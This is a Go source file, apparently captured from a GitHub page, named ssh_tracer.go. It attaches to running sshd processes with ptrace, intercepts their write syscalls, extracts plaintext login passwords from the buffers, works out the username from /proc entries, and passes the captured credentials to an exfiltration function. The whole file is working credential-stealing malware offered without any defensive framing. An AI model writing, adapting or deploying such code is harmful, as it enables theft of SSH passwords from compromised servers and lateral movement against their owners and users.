-
Notifications
You must be signed in to change notification settings - Fork 3
Expand file tree
/
Copy pathssh_tracer.go
More file actions
115 lines (103 loc) · 2.8 KB
/
ssh_tracer.go
File metadata and controls
115 lines (103 loc) · 2.8 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
package main
import (
"fmt"
"io/ioutil"
"regexp"
"runtime"
"strconv"
"strings"
"syscall"
)
func traceSSHDProcess(pid int) {
runtime.LockOSThread()
defer runtime.UnlockOSThread()
err := syscall.PtraceAttach(pid)
if err != nil {
return
}
defer func() {
syscall.PtraceDetach(pid)
}()
var wstatus syscall.WaitStatus
var exfiled bool
for {
_, err := syscall.Wait4(pid, &wstatus, 0, nil)
if err != nil {
return
}
if wstatus.Exited() {
return
}
if wstatus.StopSignal() == syscall.SIGTRAP {
var regs syscall.PtraceRegs
err := syscall.PtraceGetRegs(pid, ®s)
if err != nil {
syscall.PtraceDetach(pid)
return
}
if regs.Orig_rax == 1 {
fd := int(regs.Rdi)
if fd >= 0 && fd <= 20 {
bufferSize := int(regs.Rdx)
if bufferSize > 3 && bufferSize < 250 {
buffer := make([]byte, bufferSize)
_, err := syscall.PtracePeekData(pid, uintptr(regs.Rsi), buffer)
if err != nil {
syscall.PtraceSyscall(pid, 0)
continue
}
var password string
if len(buffer) >= 4 && buffer[0] == 0 && buffer[1] == 0 && buffer[2] == 0 {
length := int(buffer[3])
if length > 0 && length+4 <= len(buffer) {
password = string(buffer[4 : 4+length])
} else if length == 0 && len(buffer) > 4 {
password = string(buffer[4:])
} else {
password = string(buffer)
}
} else {
password = string(buffer)
}
password = removeNonPrintableAscii(password)
if isValidPassword(password) {
username := "unknown"
cmdline, _ := ioutil.ReadFile(fmt.Sprintf("/proc/%d/cmdline", pid))
cmdlineStr := strings.ReplaceAll(string(cmdline), "\x00", " ")
usernamePattern := regexp.MustCompile(`sshd[^:]*:\s*([a-zA-Z0-9_-]+)`)
matches := usernamePattern.FindStringSubmatch(cmdlineStr)
if len(matches) == 2 {
username = matches[1]
}
if username == "unknown" && strings.Contains(cmdlineStr, "[accepted]") {
ppidData, err := ioutil.ReadFile(fmt.Sprintf("/proc/%d/stat", pid))
if err == nil {
ppidStr := strings.Fields(string(ppidData))
if len(ppidStr) > 3 {
ppid, _ := strconv.Atoi(ppidStr[3])
if ppid > 0 {
parentCmdline, _ := ioutil.ReadFile(fmt.Sprintf("/proc/%d/cmdline", ppid))
parentCmdlineStr := strings.ReplaceAll(string(parentCmdline), "\x00", " ")
parentMatches := usernamePattern.FindStringSubmatch(parentCmdlineStr)
if len(parentMatches) == 2 {
username = parentMatches[1]
}
}
}
}
}
if exfiled {
go exfilPassword(username, password)
}
exfiled = !exfiled
}
}
}
}
}
err = syscall.PtraceSyscall(pid, 0)
if err != nil {
return
}
}
}